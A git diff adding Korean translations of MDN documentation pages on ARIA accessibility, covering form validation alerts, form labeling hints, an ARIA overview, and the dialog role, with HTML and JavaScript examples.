+<p>텍스트가 <code>div</code> 요소에 추가되고 <code>div</code> 요소는 문서에 추가됩니다. </p>
+
+<p>이 <code>div</code>  요소가 나타나면 Firefox는 보조기기에 "alert" 이벤트를 발생시킵니다. 대부분의 스크린 리더는 자동으로 그것을 주워서 읽습니다. 이건 암호 저장 여부를 묻는 Firefox의 알림 표시 줄과 비슷합니다. 방금 만든 alert에는 버튼이 없으므로 단순히 무엇이 문제인지만을 알려줍니다. </p>
+
+<h2 id="“onblur”_이벤트_수정하기"><span class="mw-headline" id="Adding_the_magic_to_the_.E2.80.9Conblur.E2.80.9D_event">“<code>onblur</code>” 이벤트 수정하기</span></h2>
+
+<p>이제 남은 것은 이벤트 핸들러를 추가하는 것뿐입니다. 우리는 Email과 이름에 대한 두개의 인풋을 다음과 같이 변경해야합니다. :</p>
+
+<pre class="brush: html"> &lt;input name="name" id="name" aria-required="true"
+ onblur="checkValidity('name', ' ', 'Invalid name entered!');"/&gt;
+ &lt;br /&gt;
+ &lt;input name="email" id="email" aria-required="true"
+ onblur="checkValidity('email', '@', 'Invalid e-mail address');"/&gt;
+</pre>
+
+<p><strong>예제 테스트하기</strong></p>
+
+<p>만약 Firefox 3 와 현재 지원되는 스크린 리더를 사용하고 있다면 다음을 시도해보세요.:</p>
+
+<ol>
+ <li>이름에 성만을 입력해보세요. 탭을 하면 유효하지 않은 이름을 입력했다는 알림을 들을 수 있을 겁니다. shift-tab을 눌러서 돌아간 다음 에러를 수정할 수 있습니다. </li>
+ <li>"@"없이 Email 주소를 입력해보세요. 탭을 해서 필드를 벗어나면 유효하지 않은 Email을 입력했다는 알림을 들을 수 있을 겁니다. </li>
+</ol>
+
+<p>두 경우 모두 필드로 포커스가 돌아가면 스크린 리더는 해당 필드가 유효하지 않음을 알려주어야 합니다. JAWS 9는 이것을 지원하지만,  JAWS 8는 지원하지 않습니다. 그렇기때문에 이것은 스크린 리더 버전에 따라서 동작하지 않을 수 있습니다. </p>
+
+<h2 id="자주_하는_질문">자주 하는 질문</h2>
+
+<dl>
+ <dt>Q. 왜 label에 “<code>(required)</code>” 를 넣고 일부 input에 <code>aria-required</code> 속성을 넣었나요?</dt>
+ <dd>A. 만약 이게 실제 폼이고 아직 ARIA를 지원하지 않는 브라우저에서 사이트를 방문한 경우에도 이것이 필수 입력란임을 알려주는 것이 좋습니다. </dd>
+ <dt>Q. 왜 유효하지 않은 필드로 자동 포커스되도록 하지 않나요?</dt>
+ <dd>A. 왜냐하면 Windows API 사양 및 기타 사양에 따라 허용되지 않기 때문입니다. 또한, 사용자 상호작용 없이 포커스를 자주 이동하는 것은  좋지 않습니다. </dd>
+</dl>
+
+<div class="warning">TBD: 이건 다시 생각해봅시다. 개인적으로 키보드 트랩을 발생시키지 않는다면 포커스를 설정하는 것이 좋을 것 같습니다.</div>
diff --git a/files/ko/web/accessibility/aria/forms/basic_form_hints/index.html b/files/ko/web/accessibility/aria/forms/basic_form_hints/index.html
new file mode 100644
index 0000000000..f3757219ab
--- /dev/null
+++ b/files/ko/web/accessibility/aria/forms/basic_form_hints/index.html
@@ -0,0 +1,116 @@
+---
+title: 기본적인 폼 힌트
+slug: Web/Accessibility/ARIA/forms/Basic_form_hints
+tags:
+ - ARIA
+ - Forms
+ - 접근성
+translation_of: Web/Accessibility/ARIA/forms/Basic_form_hints
+---
+<p><span class="seoSummary">전통적인 HTML 폼 관련 요소를 사용하여 폼을 구현할 때 컨트롤에 레이블을 지정하고 레이블을 컨트롤과 명시적으로 연결하는 것이 중요합니다.</span> 스크린 리더 사용자가 페이지를 탐색할 때, 스크린 리더는 폼 컨트롤을 알려주지만, 레이블과 폼이 직접적으로 연결되지 않으면 스크린 리더는 어떤 레이블이 적절한지 알 방법이 없습니다. </p>
+
+<p>아래의 예는 레이블이 있는 간단한 폼을 보여줍니다. 각{{ HTMLElement("input") }} 요소는 <code>id</code>를 가지고 있고, 각{{ HTMLElement("label") }} 요소는 자신과 연결된 {{ HTMLElement("input") }}의 id를 나타내는  <code>for</code> 속성을 가지고 있습니다.</p>
+
+<pre class="brush: html">&lt;form&gt;
+ &lt;ul&gt;
+ &lt;li&gt;
+ &lt;input id="wine-1" type="checkbox" value="riesling"/&gt;
+ &lt;label for="wine-1"&gt;Berg Rottland Riesling&lt;/label&gt;
+ &lt;/li&gt;
+ &lt;li&gt;
+ &lt;input id="wine-2" type="checkbox" value="pinot-blanc"/&gt;
+ &lt;label for="wine-2"&gt;Pinot Blanc&lt;/label&gt;
+ &lt;/li&gt;
+ &lt;li&gt;
+ &lt;input id="wine-3" type="checkbox" value="pinot-grigio"/&gt;
+ &lt;label for="wine-3"&gt;Pinot Grigio&lt;/label&gt;
+ &lt;/li&gt;
+ &lt;li&gt;
+ &lt;input id="wine-4" type="checkbox" value="gewurztraminer"/&gt;
+ &lt;label for="wine-4"&gt;Gewürztraminer&lt;/label&gt;
+ &lt;/li&gt;
+ &lt;/ul&gt;
+&lt;/form&gt;
+</pre>
+
+<h2 id="Labeling_with_ARIA" name="Labeling_with_ARIA">ARIA로 라벨링 하기</h2>
+
+<p>HTML {{ HTMLElement("label") }} 요소는 폼 관련 요소로 적당하지만, 많은 폼 컨트롤은 {{ HTMLElement("div") }}나 {{ HTMLElement("span") }}를 사용한 동적인 Javascript 위젯으로 구현되어있습니다. W3C의 <a href="http://www.w3.org/WAI/" title="http://www.w3.org/WAI/">Web Accessibility Initiative</a>에서 만들어진 <a href="https://www.w3.org/WAI/standards-guidelines/aria/" title="http://www.w3.org/WAI/intro/aria.php">WAI-ARIA</a>, <strong>Accessible Rich Internet Applications</strong> 사양은 이러한 경우를 위해 <code><a href="http://www.w3.org/TR/2010/WD-wai-aria-20100916/states_and_properties#aria-labelledby" title="http://www.w3.org/TR/2010/WD-wai-aria-20100916/states_and_properties#aria-labelledby">aria-labelledby</a></code> 속성을 제공하고 있습니다.</p>
+
+<p>아래의 예에서는 순서 없는 리스트를 사용하여 구현한 라디오 버튼 그룹을 보여주고 있습니다. 3행의  {{ HTMLElement("ul") }} 요소에 <code>aria-labelledby</code> 속성에 라디오 그룹의 레이블인 {{ HTMLElement("h3") }} 요소의  <code>id</code>  <code>rg1_label</code>을 설정했습니다. </p>
+
+<pre class="brush: html">&lt;h3 id="rg1_label"&gt;Lunch Options&lt;/h3&gt;
+
+&lt;ul class="radiogroup" id="rg1" role="radiogroup" aria-labelledby="rg1_label"&gt;
+ &lt;li id="r1" tabindex="-1" role="radio" aria-checked="false"&gt;
+ &lt;img role="presentation" src="radio-unchecked.gif" /&gt; Thai
+ &lt;/li&gt;
+ &lt;li id="r2" tabindex="-1" role="radio" aria-checked="false"&gt;
+ &lt;img role="presentation" src="radio-unchecked.gif" /&gt; Subway
+ &lt;/li&gt;
+ &lt;li id="r3" tabindex="0" role="radio" aria-checked="true"&gt;
+ &lt;img role="presentation" src="radio-checked.gif" /&gt; Radio Maria
+ &lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<h2 id="Describing_with_ARIA" name="Describing_with_ARIA">ARIA로 설명하기</h2>
+
+<p>폼 컨트롤을 가끔 label 외에 추가설명이 있는 경우가 있다. ARIA는 <code><a href="http://www.w3.org/TR/2010/WD-wai-aria-20100916/states_and_properties#aria-describedby" title="http://www.w3.org/TR/2010/WD-wai-aria-20100916/states_and_properties#aria-describedby">aria-describedby</a></code> 속성을 사용하여 설명을 컨트롤과 직접 연관시킵니다. </p>
+
+<p>아래 예제는 {{ HTMLElement("div") }} 안의 문장이  {{ HTMLElement("button") }} 요소를 설명하는 것을 보여줍니다. {{ HTMLElement("button") }}의  <code>aria-describedby</code> 속성은 {{ HTMLElement("div") }}의 <code>id</code>를 참조합니다. </p>
+
+<pre class="brush: html">&lt;button aria-describedby="descriptionRevert"&gt;Revert&lt;/button&gt;
+&lt;div id="descriptionRevert"&gt;Reverting will undo any changes that have been made
+ since the last save.&lt;/div&gt;</pre>
+
+<div class="note">
+<p><strong>Note</strong>: <code>aria-describedby</code> 속성은 폼 컨트롤 외에도 다른 용도로 사용됩니다. </p>
+</div>
+
+<h2 id="Required_and_invalid_fields" name="Required_and_invalid_fields">필수 필드와 유효하지 않은 필드 </h2>
+
+<div class="note">
+<p><strong>Note</strong>: 현재는 전 세계 사용자의 97%가  <code>required</code>를 사용할 수 있으므로 <code>required</code>와 <code>aria-required</code> 모두를 사용하는 것은 더는 권장하지 않습니다.</p>
+</div>
+
+<p>일반적으로 웹 개발자는 필수 필드와 유효하지 않은 필드를 나타내기 위해서 시각적인 방법을 사용합니다. 보조 기술(ATs)은 언제나 표시된 것을 통해서 정보를 추측하지는 않습니다. ARIA 는 폼 컨트롤의 필수나 유효하지 않음을 나타내는 속성을 제공합니다. </p>
+
+<ul>
+ <li>AT에 폼을 완료하기 위한 필수요소임을 알리기 위해<strong> <a href="http://www.w3.org/TR/2010/WD-wai-aria-20100916/states_and_properties#aria-required" title="http://www.w3.org/TR/2010/WD-wai-aria-20100916/states_and_properties#aria-required">aria-required</a></strong> 속성을 폼에 적용할 수 있습니다. </li>
+ <li>데이터 필드에 올바르지 않은 데이터가 있는 것을 AT에 알리기 위해<strong> <a href="http://www.w3.org/TR/2010/WD-wai-aria-20100916/states_and_properties#aria-invalid" title="http://www.w3.org/TR/2010/WD-wai-aria-20100916/states_and_properties#aria-invalid">aria-invalid</a></strong> 상태를 적용하는 것으로 사용자는 올바르지 않은 데이터를 입력했다는 것을 알 수 있습니다. </li>
+</ul>
+
+<p>아래의 예제는 세 개의 필드가 있는 간단한 폼을 보여줍니다. 4행과 12행에서는 <code>aria-required</code> 속성이 true(레이블 옆에 별표와 함께)로 설정되어 name과 email 필드가 필수임을 나타냅니다. 두 번째 예제는 email 형식을 검증하고 그 결과에 따라서 email 필드(HTML 12행)의 (요소를 시각적으로 변경하는 것과 함께) <code>aria-invalid</code> 속성을 설정하는 Javascript 스니펫입니다. </p>
+
+<pre class="brush: html">&lt;form&gt;
+ &lt;div&gt;
+ &lt;label for="name"&gt;* Name:&lt;/label&gt;
+ &lt;input type="text" value="name" id="name" aria-required="true"/&gt;
+ &lt;/div&gt;
+ &lt;div&gt;
+ &lt;label for="phone"&gt;Phone:&lt;/label&gt;
+ &lt;input type="text" value="phone" id="phone" aria-required="false"/&gt;
+ &lt;/div&gt;
+ &lt;div&gt;
+ &lt;label for="email"&gt;* E-mail:&lt;/label&gt;
+ &lt;input type="text" value="email" id="email" aria-required="true"/&gt;
+ &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>폼 항목의 유효성을 검사하는 스크립트는 다음과 같습니다. </p>
+
+<pre class="brush: js">var validate = function () {
+ var emailElement = document.getElementById(emailFieldId);
+ var valid = emailValid(formData.email); // returns true if valid, false otherwise
+
+ emailElement.setAttribute("aria-invalid", !valid);
+ setElementBorderColour(emailElement, valid); // sets the border to red if second arg is false
+};
+</pre>
+
+<h2 id="Providing_Helpful_Error_Messages" name="Providing_Helpful_Error_Messages">유용한 오류 메시지 제공</h2>
+
+<p><a href="/en-US/docs/aria/forms/alerts" title="aria/forms/alerts">ARIA alerts to enhance forms</a> 사용법을 읽으세요.</p>
+
+<p>폼 접근성을위한 ARIA 사용에 대한 자세한 지침은 <a href="http://www.w3.org/TR/wai-aria-practices/" title="http://www.w3.org/TR/wai-aria-practices/">WAI-ARIA Authoring Practices</a> 문서를 참조하세요. </p>
diff --git a/files/ko/web/accessibility/aria/forms/index.html b/files/ko/web/accessibility/aria/forms/index.html
new file mode 100644
index 0000000000..a9028b2416
--- /dev/null
+++ b/files/ko/web/accessibility/aria/forms/index.html
@@ -0,0 +1,17 @@
+---
+title: Forms
+slug: Web/Accessibility/ARIA/forms
+tags:
+ - ARIA
+ - 접근성
+translation_of: Web/Accessibility/ARIA/forms
+---
+<p>아래의 페이지에서는 Web Form의 접근성을 향상시키는 여러 가지 테크닉을 소개합니다. </p>
+
+<ul>
+ <li><a href="/en/Accessibility/ARIA/Basic_form_hints" title="Basic form hints">Basic form hints</a>: 무효 값 혹은 필수 필드에 힌트나 설명을 추가합니다. </li>
+ <li><a href="/en/Accessibility/ARIA/forms/alerts" title="alerts">Alerts</a>: 클라이언트 측의 검증에서 발생한 에러 메시지를 표시하기 위해 alert를 사용합니다. </li>
+ <li><a href="/en/Accessibility/ARIA/forms/Multipart_labels" title="https://developer.mozilla.org/en/aria/forms/Multipart_labels">Multi-part labels</a>: 각 폼 안의 컨트롤로 복잡한 폼 레이블을 사용합니다.</li>
+</ul>
+
+<p>유사한 콘텐츠를 다루고 있는 <a class="external" href="https://web.archive.org/web/20120801225355/http://yaccessibilityblog.com/library/aria-invalid-form-inputs.html" title="http://yaccessibilityblog.com/library/aria-invalid-form-inputs.html">Yahoo! article on form validation and ARIA</a> 도 봐주세요.</p>
diff --git a/files/ko/web/accessibility/aria/index.html b/files/ko/web/accessibility/aria/index.html
new file mode 100644
index 0000000000..c1c77f78f4
--- /dev/null
+++ b/files/ko/web/accessibility/aria/index.html
@@ -0,0 +1,131 @@
+---
+title: ARIA
+slug: Web/Accessibility/ARIA
+tags:
+ - ARIA
+ - Accessibility
+ - HTML
+ - 웹 접근성
+ - 접근성
+translation_of: Web/Accessibility/ARIA
+---
+<p><strong>접근가능한 리치 인터넷 어플리케이션</strong>(Accessible Rich Internet Applications, <strong>ARIA</strong>)은 장애를 가진 사용자가 웹 콘텐츠와 웹 어플리케이션(특히 JavaScript를 사용하여 개발한 경우)에 더 쉽게 접근할 수 있는 방법을 정의하는 여러 특성을 말합니다.</p>
+
+<p>ARIA는 HTML을 보충해, 일반적으로 보조 기술이 알 수 없는 상호작용 및 흔히 쓰이는 어플리케이션 위젯에 필요한 정보를 제공합니다. 예를 들어 ARIA는 HTML4에서의 탐색 랜드마크, JavaScript 위젯, 폼 힌트 및 오류 메시지, 실시간 콘텐츠 업데이트 등을 접근 가능한 형태로 제공합니다.</p>
+
+<div class="blockIndicator warning">
+<p>여기 등장하는 많은 위젯은 나중에 HTML5로 통합됐으므로, 구현하려는 기능을 가진 요소가 존재한다면 <strong>개발자는 되도록 의미를 가진 HTML을 ARIA보다 선호해야 합니다</strong>. 몇 가지 예시로, 네이티브 요소는 키보드 접근성, 역할, 상태를 내장하고 있습니다. 그러나 ARIA를 쓰기로 결정했다면 브라우저 동작 방식을 따라 하는 건 개발자의 책임입니다.</p>
+</div>
+
+<p>다음은 진행 표시줄 위젯의 마크업입니다.</p>
+
+<pre class="brush: html">&lt;div id="percent-loaded" role="progressbar" aria-valuenow="75"
+ aria-valuemin="0" aria-valuemax="100"&gt;
+&lt;/div&gt;
+</pre>
+
+<div class="hidden">
+<p>This progress bar is built using a <code>&lt;div&gt;</code>, which has no meaning. Unfortunately, there isn't a more semantic tag available to developers in HTML 4, so we need to include ARIA roles and properties. These are specified by adding attributes to the element. In this example, the <code>role="progressbar"</code> attribute informs the browser that this element is actually a JavaScript-powered progress bar widget. The <code>aria-valuemin</code> and <code>aria-valuemax</code> attributes specify the minimum and maximum values for the progress bar, and the <code>aria-valuenow</code> describes the current state of it and therefore must be kept updated with JavaScript.</p>
+
+<p>Along with placing them directly in the markup, ARIA attributes can be added to the element and updated dynamically using JavaScript code like this:</p>
+
+<pre class="brush: js"><code>// Find the progress bar &lt;div&gt; in the DOM.
+ var progressBar = document.getElementById("percent-loaded");</code>
+
+<code>// Set its ARIA roles and states,
+// so that assistive technologies know what kind of widget it is.</code>
+ progressBar.setAttribute("role", "progressbar");
+ progressBar.setAttribute("aria-valuemin", 0);
+ progressBar.setAttribute("aria-valuemax", 100);
+
+// Create a function that can be called at any time to update
+// the value of the progress bar.
+ function updateProgress(percentComplete) {
+ progressBar.setAttribute("aria-valuenow", percentComplete);
+ }</pre>
+
+<div class="note">
+<p>Note that ARIA was invented after HTML4, so does not validate in HTML4 or its XHTML variants. However, the accessibility gains it provides far outweigh any technical invalidity.</p>
+
+<p>In HTML5, all ARIA attributes validate. The new landmark elements (<code>&lt;main&gt;</code>, <code>&lt;header&gt;</code>, <code>&lt;nav&gt;</code> etc) have built-in ARIA roles, so there is no need to duplicate them.</p>
+</div>
+</div>
+
+<h2 id="지원">지원</h2>
+
+<p>다른 웹 기술과 마찬가지로, ARIA 역시 환경 별 지원 수준에 차이를 보입니다. 지원 수준은 사용자의 운영 체제 및 사용하는 브라우저, 그리고 연결된 보조 기술마다 다릅니다. 게다가 각각의 버전 또한 영향을 줍니다. 오래된 소프트웨어 버전은 특정 ARIA 역할을 지원하지 않거나, 부분적으로만 지원하거나, 잘못된 기능을 가지고 있을 수 있습니다.</p>
+
+<p>또 다른 중요한 점은, 보조 기술에 의존하는 사용자 일부가 컴퓨터 및 브라우저 상호작용 기능을 잃어버릴까 두려워 소프트웨어 업그레이드를 주저할 수 있다는 점을 인지하는 것입니다. 그러므로 가능한 한 보조 기술이 훨씬 넓게 지원하는, <a href="/ko/docs/Learn/Accessibility/HTML">의미를 가진 HTML 요소</a>를 사용하는 편이 좋습니다.</p>
+
+<p>마지막으로 작성한 ARIA을 실제 보조 기술로 시험하는 것도 필요합니다. 브라우저 에뮬레이터와 시뮬레이터가 전체 테스트에 효율적인 도구가 아니듯, 유사 보조 기술만으로는 완벽한 지원을 장담하기엔 부족합니다.</p>
+
+<section id="sect1">
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="자습서">자습서</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Web/Accessibility/An_overview_of_accessible_web_applications_and_widgets">ARIA 소개</a></dt>
+ <dd>동적인 컨텐츠를 ARIA를 적용해 접근성을 갖추도록 하는 방법에 대한 소개한 글입니다. Gez Lemon이 2008년에 쓴 ARIA 분야의 고전인 <a class="external" href="http://dev.opera.com/articles/view/introduction-to-wai-aria/">ARIA intro</a>도 참조하십시오.</dd>
+ <dt><a class="external" href="http://zomigi.com/blog/videos-of-screen-readers-using-aria-updated/">스크린 리더기에서 ARIA를 어떻게 사용하는지에 대한 영상</a></dt>
+ <dd>ARIA "적용 전", "적용 후" 영상을 비롯하여, 웹에서 볼 수 있는 실제 사용 예제들과 그것보다 간략화된 예시들을 볼 수 있습니다.</dd>
+ <dt><a class="external" href="https://w3c.github.io/using-aria/">ARIA 사용하기</a></dt>
+ <dd>개발자를 위한 실용 가이드를 제공하는 글입니다. HTML 요소에 어떤 ARIA 속성들을 써야 하는지에 대해 제안하는 내용을 담고 있습니다. 제안은 실제 구현 상황을 바탕으로 합니다.</dd>
+</dl>
+
+<h2 id="간단한_ARIA_향상">간단한 ARIA 향상</h2>
+
+<dl>
+ <dt><a class="external" href="https://www.paciellogroup.com/blog/2013/02/using-wai-aria-landmarks-2013/">ARIA 랜드마크를 사용하여 페이지 탐색 고도화</a></dt>
+ <dd>스크린 리더 사용자들을 위해 ARIA 랜드마크를 사용하여 웹 페이지의 탐색 기능을 향상시키는 법을 소개해주는 좋은 글입니다. <a class="external" href="http://www.paciellogroup.com/blog/2011/07/html5-accessibility-chops-aria-landmark-support/">이와 더불어서 ARIA 구현 노트</a> 및 실제 사이트에서의 활용 예시들을 참고하세요. (2011년 7월에 업데이트됨)</dd>
+ <dt><a href="/ko/docs/ARIA/forms">폼 접근성 향상하기</a></dt>
+ <dd>ARIA는 동적 콘텐츠만을 위한 것이 아닙니다! ARIA 특성을 사용해 HTML 폼의 접근성을 높이는 방법을 알아보세요.</dd>
+</dl>
+
+<h2 id="스크립트_처리된_위젯을_위한_ARIA">스크립트 처리된 위젯을 위한 ARIA</h2>
+
+<dl>
+ <dt><a class="external" href="/ko/docs/Web/Accessibility/Keyboard-navigable_JavaScript_widgets">JavaScript 위젯에 키보드 탐색 및 초점 적용하기</a></dt>
+ <dd>{{htmlelement("input")}}, {{htmlelement("button")}} 등 내장 요소는 기본적으로 키보드를 지원합니다. {{htmlelement("div")}}와 ARIA로 특정 요소를 흉내 낸다면, 그 위젯도 키보드를 지원하도록 해야 합니다.</dd>
+ <dt><a href="/ko/docs/Web/Accessibility/ARIA/ARIA_Live_Regions" title="Live Regions">실시간 영역</a></dt>
+ <dd>실시간 영역은 페이지 콘텐츠에 가해지는 변경점을 접근성 보조 기술이 어떻게 처리해야 하는지 제안합니다.</dd>
+ <dt><a class="external" href="https://www.freedomscientific.com/SurfsUp/AriaLiveRegions.htm">ARIA 실시간 영역으로 콘텐츠 변경 알리기</a></dt>
+ <dd>JAWS 스크린 리더 소프트웨어의 개발진이 실시간 영역에 대해 요약한 글입니다.</dd>
+</dl>
+</div>
+
+<div class="section">
+<h2 class="Tools" id="표준화를_위한_노고">표준화를 위한 노고</h2>
+
+<dl>
+ <dt><a class="external" href="https://www.w3.org/TR/wai-aria-1.1/">WAI-ARIA 명세</a></dt>
+ <dd>W3C 명세입니다.</dd>
+ <dt><a class="external" href="https://www.w3.org/TR/wai-aria-practices-1.1/">WAI-ARIA 작성 안내서</a></dt>
+ <dd>
+ <p>흔히 쓰이는 위젯을 ARIA스럽게 만드는 방법에 대한 공식 안내서로, 훌륭한 자원입니다.</p>
+ </dd>
+</dl>
+
+<h2 id="비디오">비디오</h2>
+
+<p>다음 발표 비디오는 ARIA를 이해할 수 있는 훌륭한 방법입니다.</p>
+
+<p><a href="https://www.youtube.com/watch?v=qdB8SRhqvFc">ARIA, Accessibility APIs and coding like you give a damn! – Léonie Watson</a></p>
+
+<h2 id="버그_제출">버그 제출</h2>
+
+<p><a href="/en/Accessibility/ARIA/How_to_file_ARIA-related_bugs" title="https://developer.mozilla.org/en/ARIA/How_to_file_ARIA-related_bugs">브라우저, 스크린 리더, JavaScript 라이브러리의 ARIA 버그 제출하기</a></p>
+</div>
+</div>
+</section>
+
+<h2 id="Related_Topics" name="Related_Topics">관련 주제</h2>
+
+<p>{{glossary("Accessibility", "접근성")}}, {{glossary("AJAX")}}, <a href="/ko/docs/JavaScript">JavaScript</a></p>
+
+<section id="Quick_Links">
+<ol>
+ <li><a href="/ko/docs/Web/Guide">웹 개발</a></li>
+ <li><a href="/ko/docs/Mozilla/Accessibility">접근성과 Mozilla</a></li>
+</ol>
+</section>
diff --git a/files/ko/web/accessibility/aria/roles/dialog_role/index.html b/files/ko/web/accessibility/aria/roles/dialog_role/index.html
new file mode 100644
index 0000000000..90fc507652
--- /dev/null
+++ b/files/ko/web/accessibility/aria/roles/dialog_role/index.html
@@ -0,0 +1,158 @@
+---
+title: 'ARIA: dialog role'
+slug: Web/Accessibility/ARIA/Roles/dialog_role
+tags:
+ - ARIA
+ - Web Development
+ - 접근성
+translation_of: Web/Accessibility/ARIA/Roles/dialog_role
+---
+<p>{{draft()}}</p>
+
+<p>\{{ariaref}}</p>
+
+<p><span class="seoSummary"><code><a class="external" href="http://www.w3.org/TR/2009/WD-wai-aria-20091215/roles#dialog" title="http://www.w3.org/TR/2009/WD-wai-aria-20091215/roles#alertdialog">dialog</a></code> 역할(role)은 HTML 기반의 애플리케이션의 다이얼로그 또는 콘텐츠를 분리하는 창 또는 다른 웹 애플리케이션의 UI 혹은 페이지를 마크업하는데 사용됩니다. 다이얼로그는 일반적으로 오버레이를 사용하여 페이지 위에 표시됩니다. 다이얼로그는 비모달(non-modal) (열린 이후에도 다이얼로그 바깥의 콘텐츠와 상호작용할 수 있습니다) 또는 모달(오로지 다이얼로그 콘텐츠와 상호작용할 수 있습니다) 형태일 수 있습니다.</span></p>
+
+<pre class="brush: html">&lt;div <strong>role="dialog" aria-labelledby="dialog1Title" aria-describedby="dialog1Desc"</strong>&gt;
+ &lt;h2 <strong>id="dialog1Title"</strong>&gt;귀하의 개인정보가 성공적으로 갱신되었습니다.&lt;/h2&gt;
+ &lt;p <strong>id="dialog1Desc"</strong>&gt;
+  &lt;a href="/account"&gt;개인정보 관리&lt;/a&gt; 페이지에서 언제든지 개인정보를 수정할 수 있습니다.
+  &lt;/p&gt;
+ &lt;button&gt;닫기&lt;/button&gt;
+&lt;/div&gt;</pre>
+
+<h2 id="설명">설명</h2>
+
+<p>다이얼로그 요소를 마크업하는 것은 보조 기술(Assistive Technology)이 다이얼로그의 콘텐츠가 그룹하 되어 페이지의 나머지 콘텐츠와 분리됨을 식별하는 것을 돕습니다. 하지만, 단순히 <code>role="dialog"</code>를 추가하는 것으로 다이얼로그의 접근성을 높이지 못합니다. 추가적으로 다음 항목들이 충족되어야 합니다:</p>
+
+<ul>
+ <li>다이얼로그의 레이블이 올바르게 지정되어야 합니다.</li>
+ <li>키보드 포커스가 올바르게 관리되어야 합니다.</li>
+</ul>
+
+<p>아래 섹션들은 이 두가지 요구 사항을 어떻게 만족시킬 수 있을지 설명합니다.</p>
+
+<h4 id="레이블링">레이블링</h4>
+
+<p>다이얼로그 요소 자체가 포커스를 가질 필요는 없지만, 여전히 레이블링을 할 필요가 있습니다. 다이얼로그에 주어진 레이블은 다이얼로그 내 상호작용 가능한 컨트롤들에 contextual information를 제공합니다. 예를 들어, 다이얼로그의 레이블은 내부의 컨트롤들의 레이블의 그롭화된 레이블처럼 작동합니다. (<code>&lt;legend&gt;</code> 요소가 내부의 <code>&lt;fieldset&gt;</code> 요소에 그룹화된 레이블을 제공하는 것과 비슷합니다)</p>
+
+<p>만약 다이얼로그가 이미 눈에 보이는 타이틀바를 가지고 있다면, 그 안속의 텍스트는 다이얼로그를 레이블하는데 사용될 수 있습니다. 이를 이루기 위해 <code>role="dialog"</code> 속성을 가진 요소에 <code>aria-labelledby</code> 속성을 사용합니다. 또한, 만약 다이얼로그에 제목 외의 추가적인 설명 텍스트가 있다면, 그 텍스트는 <code>aria-describedby</code> 속성을 사용하여 다이얼로그에 관련되게 만들 수 있습니다. 이러한 방법은 아래 코드를 통해 확인하실 수 있습니다:</p>
+
+<pre class="brush: html">&lt;div <strong>role="dialog" aria-labelledby="dialog1Title" aria-describedby="dialog1Desc"</strong>&gt;
+  &lt;h2 <strong>id="dialog1Title"</strong>&gt;귀하의 개인정보가 성공적으로 갱신되었습니다.&lt;/h2&gt;
+  &lt;p <strong>id="dialog1Desc"</strong>&gt;
+  &lt;a href="/account"&gt;개인정보 관리&lt;/a&gt; 페이지에서 언제든지 개인정보를 수정할 수 있습니다.
+  &lt;/p&gt;
+  &lt;button&gt;닫기&lt;/button&gt;
+&lt;/div&gt;</pre>
+
+<p> </p>
+
+<div class="note">비가상 모드에서 작동하는 스크린 판독기에 의해 인지되기 위해서는 다이얼로그 제목과 설명 텍스트가 포커스가 가능하지 않아야 한다는 점을 유의하십시오. ARIA 다이얼로그 역할과 레이블링 기술은 다이얼로그로 포커스가 이동하였을 때 스크린 판독기가 다이얼로그의 정보를 인지할 수 있도록 합니다.</div>
+
+<h4 id="Focus_management_포커스_관리">Focus management 포커스 관리</h4>
+
+<p>다이얼로그는 키보드 포커스를 관리하는 방법에 대한 특별한 요구 사항이 있습니다.</p>
+
+<ul>
+ <li>다이얼로그는 최소한 한 개 이상의 포커스 가능한 컨트롤이 있어야 합니다. 대부분의 다이얼로그는 "닫기", "확인" 또는 "취소"와 같은 버튼들이 존재합니다. 더 나아가 폼 또는 탭 같은 위젯 컨테이너 등 얼마든지 포커스 가능한 요소들을 가질 수 있습니다.</li>
+ <li>다이얼로그가 화면에 나타났을 때, 다이얼로그 안의 기본 포커스 가능한 컨트롤로 키보드 포커스를 이동시켜야 합니다. 예를 들어 간단한 메시지만을 제공하는 다이얼로그라면 "확인" 버튼이, 폼을 제공하는 다이얼로그의 경우는 폼의 첫 번째 필드가 기본으로 포커스 될 것입니다.</li>
+ <li>다이얼로그가 닫힌 이후, 키보드 포커스는 다이얼로그를 열기 전에 있었던 곳으로 다시 이동해야 합니다. 그렇지 않으면 포커스가 페이지의 첫 번째 부분으로 초기화될 수 있습니다.</li>
+ <li>대부분의 다이얼로그는 탭 순서가 <em>감싸지길</em> 기대합니다. 이는 사용자가 다이얼로그 안의 마지막 포커스 가능한 요소에 도달했을 때, 탭을 누르면 첫 번째 포커스 가능한 요소로 포커스가 이동하길 원합니다. 즉, 탭 순서는 다이얼로그 안에 갇혀 있어야 합니다. (<em>역자 : "Focus Trap"으로 관련 자료들을 열람하실 수 있습니다</em>)</li>
+ <li>만약 다이얼로그가 움직이거나 크기가 변경될 수 있는 경우, 마우스를 사용하는 사용자가 수행하는 동작을 키보드를 사용하는 사용자도 거의 비슷하게 조작할 수 있도록 보장하십시오. 비슷하게, 만약 다이얼로그가 툴바 또는 context menus 처럼 특별한 기능을 제공하는 경우, 이들 또한 키보드 사용자에 의해서도 접근 가능하고 조작이 가능해야 합니다.</li>
+ <li>다이얼로그는 모달 또는 비모달일 수 있습니다. 만약 모달 다이얼로그가 화면에 나타나면, 다이얼로그 밖의 페이지 콘텐츠들과 상호작용하는 것은 불가능합니다. 다른 말로, 모달 다이얼로그가 나타나 있는한 메인 애플리케이션의 UI 또는 페이지 콘텐츠는 일시적으로 비활성화 상태여야 합니다. 비모달 다이얼로그는 열러 있는 동안에도 다이얼로그 바깥의 콘텐츠들과 상호작용이 가능합니다. 비모달 다이얼로그를 위해서 열려 있는 다이얼로그와 메인 페이지간에 포커스를 이동시킬 수 있는 전역 키보드 단축키가 필요하다는 점을 유의하십시오.</li>
+</ul>
+
+<p> </p>
+
+<h3 class="highlight-spanned" id="관련된_ARIA_역할_상태_및_속성"><span class="highlight-span">관련된 ARIA 역할, 상태 및 속성</span></h3>
+
+<dl>
+ <dt><code><span class="highlight-span">aria-labelledby</span></code></dt>
+ <dd><span class="highlight-span">다이얼로그에 label을 하려면 이 속성을 사용하십시오. 보통, 다이얼로그의 제목 요소의 id값이 aria-labelledby 속성의 값이 됩니다.</span></dd>
+ <dt><code>aria-describedby</code></dt>
+ <dd>다이얼로그의 콘텐츠를 묘사하기 위해 이 속성을 사용하십시오.</dd>
+</dl>
+
